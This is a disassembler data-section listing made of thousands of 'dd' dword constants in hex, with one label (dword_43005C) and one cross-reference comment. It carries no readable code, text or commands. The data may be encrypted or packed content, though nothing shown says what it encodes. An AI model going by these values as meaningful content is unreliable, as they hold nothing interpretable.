dd 0A5912446h, 0AAAF90C8h, 0A6C26F76h, 52ED7813h, 0A19324C7h
dd 0AA20E4BEh, 0E5D6D7Fh, 8DCD58B1h, 5139A093h, 5A53E8CEh
dd 0C3366F8Fh, 0A25DBEFBh, 0FE65166Ah, 3FBF1E0Bh, 0EB72CADEh
dd 12ED2D57h, 5BDCFD64h, 7A45803Bh, 0C9FF8DECh, 0CDBD6C51h
dd 9E00ABDFh, 3A514FEBh, 46592CBEh, 0A278A24Dh, 6ECFC461h
dd 0DBA4B494h, 0A889FC4Fh, 242C3D03h, 77F12A76h, 0C800A705h
dd 607F0394h, 9CC63792h, 0DF11CE96h, 0AFBA832Dh, 76A92ABFh
dd 8DFC939Ah, 0DE412B92h, 0C8108DABh, 0EC192CE2h, 0F241B033h
dd 7DE10467h, 0ACF5E524h, 0DA74BC4Fh, 2D9D0863h, 7EE1EB32h
dd 0CA84490Bh, 0D8F80C5Fh, 0C464EA03h, 4E74E108h, 3C0610BBh
dd 0BB157067h, 4264EC0Ch, 3EBD34D7h, 96F9331Eh, 0CA5CA305h
dd 9F8D18F3h, 0CE51E4AAh, 3D048D3Bh, 69FC08AAh, 977DF40Fh
dd 415F150Bh, 7E8108EBh, 0D8B83DEAh, 0FD578810h, 0C8F95168h
dd 0B5C5AFBCh, 0D179261Eh, 0E04A2843h, 0E2548BC5h, 0D915C01Eh
dd 56C9BCBFh, 72C4B0E3h, 0C17584E7h, 75099E2Ch, 0A9C958EEh
dd 0E22BA876h, 8AA15137h, 0C37C13BDh, 26CFC65Ah, 12C569D3h
dd 9FD1E485h, 8555C66Ah, 769F787Ah, 0C1E86583h, 0CE01F44Ch
dd 7B8189D8h, 97087EEFh, 87610D8Ch, 6A764467h, 0E630CFBFh
dd 6E09BC7Ah, 1550C8E0h, 3FA154E2h, 0C52623B2h, 67EE9859h
dd 1FB13DC1h, 0E163C7AEh, 4E23BF08h, 18804BF3h, 0F14AC7A7h
dd 0AC34B74Bh, 1EFB65D9h, 0F56B09A9h, 0AE23B75Ah, 42C17C22h
dd 0E88002B4h, 0A428E80Fh, 6AE96D04h, 7E9527D8h, 3ACAA009h
dd 6C33F307h, 0EA42CA23h, 27FF096Eh, 9BE273C9h, 0CF51BD03h
dd 4291182Dh, 55C27D99h, 0CB2DA84Bh, 2DBBC359h, 61D8129Fh
dd 9B5196E2h, 6F15822Bh, 38A94DFFh, 0D87DE683h, 0F76EDE5Ah
dd 7CD34085h, 0D34D3EF6h, 0D285AD19h, 53912447h, 0A771BD7Ah
dd 73AF9C6Fh, 2FD3D34h, 0CA548B97h, 2B15C01Eh, 3AEDF397h
dd 0C74646D9h, 0AE71B1B7h, 34595C02h, 0D7AF16FAh, 0D70077DDh
dd 0BEDC5914h, 0C1B560BDh, 0C3AE8EA9h, 97209DB5h, 0CE11D7EDh
dd 499515B4h, 0BF535CAFh, 8CF112C5h, 9FB04FA9h, 693E8F09h
dd 0D3E8A932h, 0D85D9833h, 91FF2E27h, 9A90940Eh, 0B2757F4Fh
dd 49A84C2Bh, 3EA1101Fh, 0C933B34Bh, 0AE2C331Fh, 0BAED38A6h
dd 71EE588Fh, 3A45D793h, 35AF4FAFh, 826EE79Ch, 0EBC961E8h
dd 5B7D00EBh, 6EE69303h, 0DB22B65h, 3DB28998h, 910D709Bh
dd 8349BC0Fh, 11CF4D30h, 32A57A85h, 5FCAA047h, 0E63939C3h
dd 922DB2BBh, 3EA21307h, 8EEB79C9h, 0E6299D09h, 77B5FDFCh
dd 9B083497h, 0AA15F53Fh, 0CB549D30h, 32CD0013h, 0D837412Eh
dd 0A574B05Bh, 56BCE05Ah, 0E6355BA3h, 33219477h, 4AED8D7Eh
dd 1BB4159Fh, 0D22DCE3Fh, 0F167F2AFh, 3F023604h, 0F6298148h
dd 0A73ED8BCh, 5E8169FEh, 0CD800D2Bh, 5699AC62h, 18CC32E7h
dd 0AC59D6E7h
dword_43005C dd 0E5E5F05Bh, 16FF0C1Ah, 0F8DD0DE3h, 73ECF642h, 4AF53DD1h
; DATA XREF: .data:0041A720o
dd 0EBFFE68Dh, 52B05F66h, 9E07B087h, 8557C16Bh, 769F687Ah
dd 5782B083h, 9E41827Bh, 1298C52Dh, 2E592CFFh, 0B20D987Fh
dd 2DBE1770h, 0F49703D0h, 9645B00Bh, 5741DDDCh, 563214B7h
dd 8A75E04Ch, 3EFD7992h, 0DFB478D3h, 0CE24587Ah, 0CC14387Bh
dd 7A01E350h, 0D53DA8C3h, 9008BA5Eh, 2EBB54EEh, 791920B3h
dd 0B27844A6h, 21718167h, 9AE4975Fh, 0D3212F0Fh, 0AF9D0863h
dd 3EF9D602h, 77B8F90Bh, 0E6393A47h, 6DDBA2BBh, 526CE7F8h
dd 0FA85508Dh, 0B7EB5860h, 0AE7C6803h, 1E813547h, 0AB54A83Fh
dd 0D326AC3Fh, 32CD2D0Fh, 0EFE10026h, 0D175B01Bh, 4489161Bh
dd 0D4415D5Ch, 7EA49437h, 62F81592h, 0A6395F17h, 0E7D16DECh
dd 0EC7A2407h, 0A7ACED78h, 83699C6Fh, 6F38A56Ah, 0EC1348Ah
dd 0DC1D15D4h, 0C61CEC3Fh, 73F6DCBCh, 0EEBA84E7h, 0E5657B57h
dd 3F4CB3BFh, 641DC8FEh, 0BE5999B2h, 4ADF218Bh, 64938DB5h
dd 24B9AD2Ch, 36D2E4C7h, 68819FC4h, 0A5A95CEEh, 0DF187D0Eh
dd 8E6BB417h, 0BF2A13B9h, 0C6191ABBh, 370258F6h, 6EF144D5h
dd 0C7238D16h, 9EB8FC0Fh, 9D27F4CBh, 3E357C08h, 0A12BE04Bh
dd 28D45F9h, 0CA7887C7h, 311E4F2h, 7A5844C6h, 9EE8ADAFh
dd 7DC2525Eh, 0CE65B09Ch, 619DE06Ah, 471D48BBh, 0B646D0D3h
dd 0C6E10C43h, 9AE570DEh, 0AE7F922Ah, 0B7625F63h, 7EA161E3h
dd 0C396488h, 6B590A18h, 0D23039C6h, 26D10E07h, 0FA85109Ah
dd 23D68F3Dh, 42BD5E13h, 0AA5485Ah, 0F2C03F3Ch, 80D9EC0Ah
dd 728720F7h, 0B921C4CDh, 4AB04F48h, 15893CF9h, 40E04545h
dd 0D421D46Ah, 0AF908CBh, 0F56E4C9Fh, 0E47D6DECh, 2AC2407h
dd 0CFC550FBh, 0B8DC1162h, 8FBD6875h, 1EF9391Ah, 80DBAB2Bh
dd 55CFBD7Fh, 44C1CD4Ch, 56B284A7h, 8B4A8E5Bh, 0E344C204h
dd 0A25DBEADh, 5093D987h, 0A2D530FEh, 99067627h, 0F1BA4AB2h
dd 0CF26698Eh, 0B58E7AD0h, 8B2492C4h, 0C23DDECDh, 698610A4h
dd 0D586F900h, 866F2C2Ah, 0C5B01873h, 6FF10432h, 0EACD1AEFh
dd 6909FC3Ah, 22E8F4B6h, 731C94F7h, 8A75A073h, 0A37EDD6Bh
dd 52AD65FAh, 8E11A4C7h, 20855BDh, 9FE91CEFh, 7DC25695h
dd 0CBC171D0h, 6A9500EBh, 4444ECFFh, 0F840D837h, 41DF2428h
dd 0F5C51EB4h, 0BF259C69h, 2BC6D05h, 179574F8h, 0BE15C566h
dd 831A2C30h, 0E04FDD3Fh, 6FB41066h, 0DAA51AB6h, 0F909FC4Fh
dd 2F881B23h, 3EF351BAh, 0CE27A10Ch, 4BF8C25Ah, 5EE84AF9h
dd 8205AAC2h, 3656C37Eh, 77E15CB6h, 0C224B8D3h, 9E45FA16h
dd 6F8518AEh, 0C85838FCh, 0A14DD467h, 6AFF4533h, 80A23E92h
dd 0FC64B10Fh, 61C94914h, 39AF1DFFh, 8679E10Bh, 7FF8885Fh
dd 16A33993h, 0C958EAC7h, 3A498433h, 76BB53E9h, 0C774FA85h
dd 0DE12B059h, 2BC200C2h, 6BC3F8B6h, 77C56FD9h, 0AF7181F5h
dd 325F549h, 16852980h, 0A7149AE5h, 0A172D039h, 47BA03CBh
dd 8F790DDAh, 0C164B807h, 3983007h, 938511FEh, 0B67ADB3Bh
dd 7A9294Fh, 17AB19D6h, 6765465Fh, 6EF61866h, 41AD4FC1h
dd 6B0102D3h, 6D626181h, 72D3B7F6h, 0E80D6F47h, 47219AEEh
dd 0A24E8520h, 0C18AE6CEh, 8C2F419Eh, 72AB77A6h, 0C8271C17h
dd 589104BCh, 22721E7Bh, 7EE154B7h, 0CA35A00Bh, 0E6790C5Fh
dd 922DB853h, 4ED16407h, 0FA8510BBh, 0B629DC6Fh, 42FD6803h
dd 1E8134D7h, 0AA55C06Bh, 46D9AC3Fh, 328D18F3h, 0EE71C4A7h
dd 5A25B01Bh, 16897CCFh, 0E25DC8A3h, 0DE219477h, 3353C548h
dd 25394CDFh, 925452B6h, 0B99E2447h, 0E94844B8h, 0BDDE9337h
dd 896D2B45h, 75E550D3h, 0F3678C69h, 7591AE44h, 668FD3A7h
dd 273DC6CCh, 5A5C56CEh, 0FC4CB58Fh, 491DC8DAh, 0D6A35732h
dd 88D4F969h, 0E3718CDBh, 12ED1A24h, 0CE51806Fh, 7A1AF83Bh
dd 0B3245CEFh, 0C23DCAA7h, 0EA198D0Eh, 2E15C3E7h, 43A6DB5Dh
dd 0B24DA1FDh, 6D28B3E4h, 9A87C716h, 69191F4Fh, 6252B453h
dd 0DCA5FC74h, 0AEE869BDh, 0A5B98C3Dh, 579978A9h, 0FC1296ECh
dd 0C60B5D6Bh, 0F5B747F7h, 8649A8F9h, 0DDAAC6E8h, 82857254h
dd 79E693A8h, 7F661618h, 2EF13DCDh, 0AEAE7383h, 44CC33CCh
dd 0E59D485Ah, 3ED8DA32h, 0CA35A00Bh, 0E645E45Fh, 17A6B853h
dd 4E915D89h, 5726553h, 0B6313490h, 0FF7E6803h, 1EC10D59h
dd 235DB56Bh, 6FB0CA2h, 0CD11F3F3h, 0AE484A2Ah, 0DFAA731Bh
dd 16C9455Dh, 0DBD35D2Ah, 0BDC99437h, 39F560CBh, 35B28F56h
dd 0D26DF893h, 0F07CCC15h, 2FC6AF04h, 0F629A585h, 783EFE40h
dd 0DACE749Bh, 0EA15812Ch, 68996FCh, 7230DCBCh, 0ECBA84E7h
dd 0D28DA057h, 5536C371h, 0E2242266h, 0AEA7D737h, 0B3352801h
dd 0E6E0F8DFh, 11D9162Ah, 45A00FC7h, 9B849173h, 0E9768330h
dd 8E391102h, 7274B41Bh, 0A91D6BB2h, 4956D646h, 0B20D98C4h
dd 9089C541h, 5FAA02A8h, 9609FCE4h, 62E7CB75h, 742A1182h
dd 1770B5Bh, 7748CF15h, 0AD130A7Bh, 24A4A738h, 97459042h
dd 8D91DC2Ah, 82B92CCCh, 6BBEF417h, 6AD53901h, 784C84AFh
dd 774E27CCh, 2EF13DCDh, 0A34FF554h, 0D24ABC4Fh, 0E21E5B47h
dd 713A67B5h, 0D8D6A8BDh, 0B559C5DFh, 96099C92h, 67F5782Eh
dd 0BADE34B7h, 4DA83584h, 9F46BF0Ch, 0E5000AA3h, 713B85C3h
dd 0BD589A4Bh, 0CD2C23AAh, 15F0EAD3h, 0F69092CDh, 0ED085ABBh
dd 11052130h, 45A08A03h, 0F9AD89B6h, 5DB85AEBh, 3348C755h
dd 0F5102A33h, 5BE06FCBh, 63969A5Bh, 2FD11D1h, 0A1B09DCCh
dd 694B7FD4h, 0E970F8BDh, 0B132A74Dh, 0F635EEE5h, 0E593E5B3h
dd 875CB470h, 0C41DC8C7h, 0FC79E58Fh, 4951E069h, 0CD9F6EDDh
dd 0FAF53EB9h, 31AE117Dh, 0FD0D52B8h, 6EAC363Eh, 3D88056Bh
dd 9DFB34A8h, 7A654B98h, 0E288A9BDh, 59A79833h, 36992E00h
dd 0D95FB031h, 87B9E43Ah, 9D2885CBh, 3EA0AC08h, 58F1E04Bh
dd 0C668C16Bh, 0A406B26Dh, 8EA9A12Ch, 91C5D07Bh, 0FB2AA34Dh
dd 0C209947Eh, 0EFC40317h, 6A95409Fh, 0F2996CFFh, 582D6830h
dd 1A808190h, 9AE6709Bh, 5246BD0Fh, 229D0895h, 926A010Fh
dd 439E0BE3h, 0A6409AE2h, 38C50853h, 7F5493ACh, 0FA85508Fh
dd 3F28DC6Fh, 2C4F2BEh, 0E9CA40D7h, 0EA61F1EEh, 46D9AC3Fh
dd 56EAA0F1h, 0EB04F258h, 0D141D7A3h, 0AEEFD7E1h, 493BC8A3h
dd 0E3919703h, 3B709761h, 0A6390CABh, 6A65F813h, 0E9949CAh
dd 3F32468Eh, 0F629A81Eh, 6BD2843h, 5604F72Fh, 5210F42Bh
dd 66101FCh, 0F73A1718h, 0AE71B0D6h, 1A65F058h, 0BF7938FBh
dd 27962349h, 0FE21EDA1h, 829EEF00h, 9105C456h, 52990956h
dd 0CE51E787h, 0C25AE43Bh, 563888h, 0FBE3550Ah, 26AAB417h
dd 4EB240EBh, 0E0D09414h, 5AA69873h, 910EBA9Ah, 154D102Bh
dd 75F603B3h, 9D652E1Ah, 0AF0A72E2h, 0BBE06BE0h, 0D1B98C2Bh
dd 512F8F41h, 0FB11A4C7h, 0C4D2386Fh, 6959E350h, 7DC1012Bh
dd 21F992E8h, 0FB3E66BEh, 0DD6E754h, 0B27446B6h, 0A7792F67h
dd 1F128C93h, 0D609883Eh, 229D0867h, 575946C3h, 61FD5ECBh
dd 92B904E7h, 0E7951357h, 0E5B68FFFh, 0CEB4954Ch, 0B621DC2Fh
dd 8886803h, 2AAE8957h, 0DE55C02Bh, 5EF0147Eh, 9787D1DAh
dd 0EE31F08Ch, 502654DBh, 56BD576Ah, 53ED63A3h, 91A41EDDh
dd 0A0F520FFh, 23330C2Fh, 0D22DCC38h, 0EC2942EDh, 8B40A706h
dd 0E669DC1Bh, 76BD2843h, 0F488C490h, 1660384Dh, 0EE294719h
dd 0D90D6B19h, 97B3396Eh
dd 9F92F01Bh, 568908BEh, 0A21D88C3h, 0A6D1DD42h, 7E9CA581h
dd 538C9Fh, 0E56DB96Bh, 8E65D502h, 7A05D03Bh, 0B6AA28EFh
dd 6777C047h, 9E41807Eh, 975CEB8Dh, 0C6191539h, 83886FD8h
dd 6EF10413h, 0AFE5309Bh, 94594C46h, 22E961A6h, 0BB56BEF7h
dd 8A35D47Ah, 26B9CC9Fh, 0EA5D73E6h, 0BA3B21CDh, 0D1EFD03Bh
dd 47517A92h, 0B3B85FDBh, 0DE41B423h, 1E9500AAh, 8C30DCFDh
dd 0B279F296h, 2D55C467h, 0AECFD5D1h, 7D2FBC4Fh, 0D21CB005h
dd 4AD0D140h, 0C835A04Bh, 0E40C0C5Fh, 372770E7h, 4E91502Dh
dd 470CBBDDh, 0B669E5CDh, 42D954BBh, 9B769FD7h, 0AA15F45Ah
dd 46D9AC37h, 0B77A7487h, 0EE31F096h, 5A25B41Bh, 0AE3977BAh
dd 0D6764DA9h, 558B9437h, 3B709786h, 0A6390CABh, 0A76DF81Bh
dd 8D294256h, 91605A1Bh, 9069DC1Bh, 0A87D1BE8h, 0E6A7617Ch
dd 4F1F9802h, 6D9D854h, 78CEBC73h, 0EE05AF42h, 0EDCE965Bh
dd 16FD0D0Ah, 0A20D88E3h, 7FD9B237h, 0CAB6544Bh, 0C3F3841Bh
dd 12ED0CF8h, 785E4FE1h, 3A31BFBEh, 0B35EF7EFh, 0C23DDCB2h
dd 0DE01B457h, 7A65499Fh, 0F270A9BDh, 45A79833h, 2EC575A2h
dd 0DA85309Bh, 0E38F4C4Fh, 0EFD94C21h, 9B2BEAB8h, 8A35D462h
dd 1F334196h, 0F98B78D3h, 0FB145847h, 0BA45607Ch, 0DCA9E3E0h
dd 0B60C2D34h, 9E41F457h, 0D2F300ABh, 846C5D99h, 592BF187h
dd 0ABBB1CD7h, 9AA544F0h, 7C4A5CCFh, 0A76A80D3h, 7EA16086h
dd 0CA35200Bh, 60C90E2Ah, 0A6041DD9h, 0E5B76447h, 8F80EC3Bh
dd 36296C68h, 0E8BD974Ch, 2AB0B120h, 0AA55C02Bh, 4DACAC3Eh
dd 0B7875843h, 0EE31F08Eh, 3C2A5BB1h, 1C49FF77h, 0A269E106h
dd 0E8AF277h, 8F02CACAh, 0A67978AEh, 0D26FF813h, 8B660B32h
dd 0BA8564CAh, 0F66D9C2Fh, 0C20D3236h, 6AEAF19Dh, 4F9F806Bh
dd 6D9D84Fh, 14DDB872h, 5B0E25Fh, 128EF0EBh, 0D3C37C3Fh
dd 0A25DBCC8h, 0CFE4239Dh, 4AB560BFh, 13F984DFh, 91155EC3h
dd 0E4F4EE6Fh, 1C05D00Fh, 0DDA8EC44h, 0C835588Bh, 0DE359ED2h
dd 0AF22EAEBh, 0C619188Eh, 0B21D9873h, 4B843196h, 222688FDh
dd 0A2235945h, 0C9BB4863h, 170BD4C4h, 0CA4C6AF6h, 173C3B1Fh
dd 52ED38A7h, 0FB1184C7h, 0D1326164h, 7F517AB4h, 0A898A2DBh
dd 1E41B423h, 0CF9F034Fh, 865958D5h, 4F647355h, 2EF13DEDh
dd 3F6FB151h, 0D6098585h, 7A2DA305h, 4AC8D1B5h, 3D9FA04Bh
dd 0A64D3DDAh, 922DBB53h, 0C9556B06h, 428510BBh, 90A2B808h
dd 76CCE588h, 0EF003497h, 0A855C06Bh, 46D96DC8h, 37F81BF3h
dd 6915A31Fh, 5A9D1B35h, 70897CCFh, 845BBD08h, 0D8C41FCFh
dd 6D91D860h, 95924A10h, 25C69ED3h, 4EA515C2h, 0BAC550FBh
dd 129E92Eh, 428919C6h, 5EC17497h, 8C33F423h, 0F1F561C7h
dd 32F96936h, 0AE3184E7h, 0DBF0FF59h, 0FDAFDD85h, 0AA684167h
dd 0FA456C51h, 595E8BEDh, 8D53846Fh, 4A155EDDh, 0E5D4E6DAh
dd 1C05D00Fh, 86AAB744h, 478A424Ah, 9E418066h, 0AAD540EBh
dd 0C1E90CCBh, 86241D59h, 8E304467h, 0D22C3D81h, 330BFC6Bh
dd 629D7C0Ah, 0BEA2F037h, 3ADEE48Fh, 9EDF667Eh, 0F7E7986Ch
dd 8E5190EEh, 0BFB27B1Dh, 76A9289Eh, 823DA8E3h, 5BB6A763h
dd 6AD5349Ah, 0A6196CFFh, 35BAD547h, 2EB10464h, 0A5575AFh
dd 5DBA57A5h, 0A01083A4h, 55E1148Eh, 367429CAh, 637354EFh
dd 926D8C7Ah, 7F5493ADh, 0FA85508Fh, 0C2299C6Fh, 12450E0Fh
dd 37043E14h, 4155805Fh, 0B961CA35h, 1B281213h, 88718493h
dd 6BA047B0h, 15893CFBh, 965CC8A3h, 8FA46304h, 0AF520FFh
dd 0D2194C9Fh, 0D1AA0F1Eh, 7A912447h, 1055E0FEh, 39E26FC4h
dd 3B27ADC8h, 96EA74D7h, 0D9E9C8A2h, 371C1BB6h, 72CD1887h
dd 0DB3104E7h, 33E07D55h, 0DCC97CBBh, 5B9DC8EBh, 7399A734h
dd 6EF1ED8Fh, 86388CCFh, 0B92688DBh, 7637E264h, 0D163500Ah
dd 0B626E489h, 0C27D50EBh, 0F8E0B657h, 0AF7E1840h, 0A05F5976h
dd 0D4CDA9CBh, 0C432F48Ch, 0EE99B516h, 13FEFC0Fh, 629D7C12h
dd 2EA114F7h, 0A122E63Eh, 3F5294E7h, 79C52B18h, 5C18F3Fh
dd 7A7C72F6h, 0F47C1DAFh, 833DE8FAh, 0FA057F2Eh, 72889AFh
dd 0D192CEFh, 0B2745E8Eh, 0AC342F67h, 6DE530E2h, 967D8D8Ah
dd 229D4863h, 89E320B7h, 0CEF70BD3h, 652E5A5Fh, 0D21416EEh
dd 0CADE6407h, 0FA851162h, 0B629D187h, 10B82303h, 2DCD7199h
dd 0E611EE59h, 0D326AC73h, 32CD2D7Bh, 0D7CF412Eh, 0D176B05Bh
dd 0CE8A4097h, 6975BB5Ch, 42C9A034h, 810A9F3Dh, 0E600EA0Ah
dd 906EA313h, 0CC14AD4Bh, 0B9C510C2h, 73E0946Dh, 2FD1185h
dd 0A1E9071Ch, 0EA150098h, 0F04C047Fh, 0CF46A74Ch, 0AE71BD41h
dd 0ECAC180Dh, 0C342C370h, 0A25DB145h, 0FD699EBCh, 849E2CC1h
dd 69FC655Ch, 12AC585Bh, 94D5EB87h, 7905903Ah, 7690F65Ah
dd 0B0C8EB83h, 3201F46Eh, 0AFDAA8D7h, 0C6592C1Dh, 9909DEFEh
dd 2EC836A2h, 8AA3339Bh, 69FF7AA7h, 0C460CBDCh, 3EA154CEh
dd 0CD4EEB3Eh, 3D3AC313h, 0B9ED7892h, 28849DCBh, 35459042h
dd 76E8112Ah, 0F0B8ABC3h, 0B841B42Eh, 4F6A382Ah, 86E5E9F0h
dd 0B2C6D833h, 1AF22F65h, 6CAC988Bh, 6B7043F0h, 22DD31C5h
dd 7E05D1B8h, 4F36A00Bh, 0E63935F5h, 0AB5F3D50h, 4E5A6447h
dd 0F5895790h, 0B62911EDh, 4ABA5303h, 1E45B7D8h, 6AD6C06Bh
dd 529EAF3Dh, 0BFF9DF0h, 0BE23C4E7h, 639B05E4h, 83767C8Fh
dd 0E21DFDEBh, 0B1E1112Dh, 0AF5D74Eh, 0A6A5A59Fh, 2D51F813h
dd 0E05A148h, 844550FBh, 7DEC933Ah, 89BD2843h, 1DEA75D1h
dd 32FDD01Fh, 3F66138Ah, 32F4FE0Eh, 0AD46F1E7h, 5A5C5ADEh
dd 244C3F8Fh, 2B1DC8DAh, 0BE581EB2h, 71B5AB8Bh, 26C04E5Ah
dd 29A54AD3h, 8E682202h, 476CE23Bh, 46A95CEFh, 0DD95DFF1h
dd 1301B457h, 0EB5EBCA5h, 845A2E94h, 7888A363h, 1BF1041Eh
dd 0CA61B397h, 0D286CDB0h, 89BC5407h, 0BB2ED7ECh, 8A35D9D9h
dd 540C477Fh, 0BAED38AAh, 71EE52B1h, 3A45791Ah, 789C9CAFh
dd 0F031EFE8h, 0D606CF1Eh, 95A982A4h, 89509300h, 0DB36AB6h
dd 0A8D8F98h, 0BED4D75Ah, 29B6BC0Fh, 1E76779Ch, 1EC51E36h
dd 84D5A00Bh, 0EAF2CC6Ch, 3CA83F77h, 0C3D1243Eh, 0FAA12502h
dd 0C4ACDF6Fh, 24FD283Ah, 35CF9172h, 0BE17C3ADh, 80D5EE14h
dd 0F565E3B5h, 0EE719626h, 5A25B51Bh, 0EACFF5CFh, 6F9E96FCh
dd 0FE19DAC2h, 9F0A36CBh, 0A67979E3h, 0DD920090h, 0E919FC3h
dd 0E840D9FBh, 9C69DC16h, 97427E43h, 5E814123h, 6E1A40AEh
dd 699ECDBh, 229D9898h, 0C461878Dh, 1A65985Ah, 0A99FFC8Fh
dd 0E228D476h, 1995737h, 4F8BA484h, 0E3708CDFh, 12ED0185h
dd 0F70B690Ah, 0EF88907Bh, 36E9658Dh, 0C217BAD2h, 1A944B07h
dd 0A9D500DEh, 4256D347h, 0B20D9D7Fh, 0DB0E444Dh, 0DAE509CDh
dd 0A38969B0h, 9A5E4863h, 0CB251B08h, 375E04Fh, 6680A69Ah
dd 51244B93h, 0DF41F504h, 0C514D411h, 36D04A1Ah, 0E2A857C3h
dd 5B41B422h, 0BB110F6Bh, 0B5196CFBh, 9CC851FAh, 7FB1445Eh
dd 858D218Ah, 8649B30Fh, 173D9D9Ch, 0BE6454F7h, 0CEBF2404h
dd 63F00C5Fh, 926D8121h, 271CDCC4h, 0B10E10BBh, 87AC2B57h
dd 42FD2837h, 6B9134D7h, 0C7D0C36Dh, 75D9EC2Fh, 0C54C1B21h
dd 67903356h, 1A1CCA9Eh, 32B2C4CFh, 0A9D6C8A3h, 0D3A4974Bh
dd 39F520DBh, 51F84F4Dh, 5B8C0FE2h, 4EA852C2h, 0DCA93FBh
dd 15909A64h, 1AEEA576h, 4A82C398h, 815C5028h, 0D69AC4BEh
dd 5926232h, 0DAC8EA8Eh
dd 161F7346h, 0DD294E8Eh, 0E096B4A8h, 0EE23D723h, 0B5FD6406h
dd 0A7DA5528h, 2BC7BDE8h, 4592E4C7h, 4915B46Fh, 8E2BD32Fh
dd 17DE883h, 95EA7BDCh, 129BFD66h, 4DA52CFFh, 1EC4ABACh
dd 6883251Bh, 0D8D24AA7h, 0AAA3DC63h, 5E313C7Fh, 27C60D9h
dd 699D954Bh, 1BB847D6h, 52A820D6h, 0DD2CAFB3h, 35458238h
dd 89162F2Ah, 0BF3E233Ch, 9D0FBD40h, 95B384A4h, 0D1249300h
dd 0FD038D70h, 0D14E1FE3h, 0D9B24D24h, 52468E3Ch, 0DD62F773h
dd 2AB2048Ah, 0CFB1AF44h, 0D586F3A0h, 6C005088h, 0CADE9BF8h
dd 57AEE43h, 0A0C10E5Ch, 0AAFD6803h, 0E17ECBB8h, 0AA55C083h
dd 0AB58F13Fh, 32CD3779h, 0EE72F94Eh, 68DAD41Bh, 2FFBC944h
dd 6B39C8E3h, 80A0F255h, 8FFA3A86h, 0A6394FB9h, 0D151A698h
dd 35104299h, 3FCA15ABh, 0F6699F39h, 2AB6BB4h, 51C174B7h
dd 0EA1689AEh, 5ADA1A7Fh, 5283D3B1h, 0ACCD00E8h, 1686F05Bh
dd 57C8C50Eh, 241288E3h, 0FE61D6D9h, 0B54BED63h, 857B8320h
dd 99AD38D1h, 8452F4CDh, 7A052837h, 0DEF85CEEh, 3D82026Dh
dd 0AA2E2167h, 0A6440ABh, 0F269998Fh, 92679833h, 16A98DD9h
dd 3071D88Fh, 448C03B0h, 0B11FDC2Ch, 0F342515h, 6175A07Fh
dd 26BFA4FAh, 3AB47893h, 8E11A4C1h, 0D0F13823h, 0F363E350h
dd 827D9CEAh, 0F76B7091h, 0E295409Fh, 0C62D457Ah, 5AD3A33h
dd 6E8535E2h, 9AE578DBh, 5640C90Fh, 62A923DEh, 0BB9555B7h
dd 0FE0425FCh, 0E67A0C1Fh, 8959B953h, 7AF8D987h, 8E8010FBh
dd 9C945CDFh, 47FD2837h, 0A30193A3h, 0AA15F440h, 0B147D83Ah
dd 72B92976h, 0EE71C4A7h, 0DA2CC49Bh, 56BD5572h, 6B2ACAA3h
dd 878F31F4h, 0E2F5608Bh, 59C6B810h, 2D9038FBh, 0CB4CCB8h
dd 274E50FBh, 0F629A559h, 0FD41F6ABh, 55457B68h, 61158029h
dd 46A09ECAh, 4E93D3B3h, 71D95AE4h, 159A0FA6h, 56C8C90Dh
dd 865709E3h, 1E61D457h, 1CE7DE00h, 65EDF6DCh, 975A28A9h
dd 0CE11D0B6h, 6A05903Bh, 8324529Ah, 0C23DDCBFh, 8E6C39DCh
dd 8E2640ABh, 0CF5695E8h, 7809873h, 6EB15427h, 0DA149568h
dd 32FAFEACh, 56ECCDD4h, 3EA114B7h, 0E7AF04Bh, 26B9CCB7h
dd 0BAC50B6Ch, 71EE55A8h, 3E345F0h, 0A46C1CEFh, 82AF2CCCh
dd 6BCAF417h, 6AD539D9h, 7092674h, 0F22DFC79h, 649AE467h
dd 0A9E703D3h, 0C23BBFC6h, 32F08558h, 0F36A54F7h, 0CA75B066h
dd 0DAF25A2Dh, 0FF883B77h, 4ED12417h, 0FAE8B738h, 3D29DC6Fh
dd 8FC6079h, 997637DFh, 2CD04B9Ch, 0B1D9EC06h, 72B92976h
dd 0EE7184A7h, 0AD27C41Bh, 1AFB7FD7h, 57D4F88Ah, 0BE61ADD9h
dd 0BDD1340h, 97BCBBAFh, 926DB827h, 7A912447h, 0EBDDA7F9h
dd 99528C7h, 0E5671BCh, 75E90794h, 0BC448C59h, 5FC6488Ch
dd 46F1ED3Eh, 0AC284A7h, 2B6AAE04h, 844EB11Dh, 981D88E2h
dd 0BE55FBA2h, 23B3558Bh, 52AFF40Dh, 0EDFDB0C1h, 318E286Fh
dd 308ECAC4h, 26E35FE3h, 0F64C6D74h, 9E01B417h, 6B5850EBh
dd 4F4A59B9h, 0F23436FEh, 3744727h, 59A5708Bh, 960991E8h
dd 21F64823h, 4014EBDFh, 375A072h, 26B99E98h, 72ABF793h
dd 0BA202130h, 3A45D03Bh, 719D9CAFh, 7B1A4091h, 551B0BE8h
dd 2AACAE26h, 0F1A8FFFh, 0B8C6F078h, 58348F77h, 0A3E530E2h
dd 0D53AB445h, 239542EAh, 1D6244F5h, 4FBEA053h, 0E6393525h
dd 9209843Bh, 46936507h, 0AAC611E2h, 820649E5h, 0C70A6843h
dd 1EC100E6h, 0BA55C06Bh, 0CBDAAA4Bh, 32CD089Eh, 6B86C411h
dd 5A65842Ah, 168B7CCFh, 24A3DCD6h, 8A101180h, 0AF5608Bh
dd 0A04C4C9Bh, 0E65D4D99h, 8B662407h, 0BA8564CAh, 0F669DC2Fh
dd 5372336h, 5C6BB695h, 1E262FDh, 349E6676h, 0A4CFF271h
dd 7C027305h, 7E477B3Fh, 0D5913E00h, 0E224DE5Eh, 7A6ED437h
dd 0B54ADB03h, 5F8B3920h, 87523893h, 0CE11D143h, 436B25C4h
dd 0A3565CAFh, 0C23DDDBFh, 0A75B39DAh, 0BF5840ABh, 0C61915DDh
dd 0B267CA22h, 57A7F1D8h, 4F5A30DBh, 9649C9F7h, 5B8BFDDCh
dd 0AB5E14B7h, 8A35D577h, 1EF77992h, 0E71278D3h, 8E519D95h
dd 8ED02F2Dh, 0F5E95C9Ah, 0C204FE66h, 3682F417h, 6A9500ABh
dd 71806A2h, 0B27E91DEh, 21415C67h, 8F65F51Ah, 16CCBC4Fh
dd 0DD558BA0h, 0FB205B47h, 0CA75B58Bh, 0E669319Ch, 8E58B879h
dd 6AADE561h, 8FF47CB7h, 72C1BC7Ch, 370297FCh, 0E5FFDCD2h
dd 78BD3F94h, 272653C0h, 4AA0E7DDh, 5663F0F1h, 5A25B03Eh
dd 0E92C94AFh, 0DB28375Ch, 8E05D0FCh, 32BBD546h, 0F6B24CDFh
dd 0E8EC9E1Bh, 2BE22641h, 0BAC538ADh, 32E29CD0h, 52EF2829h
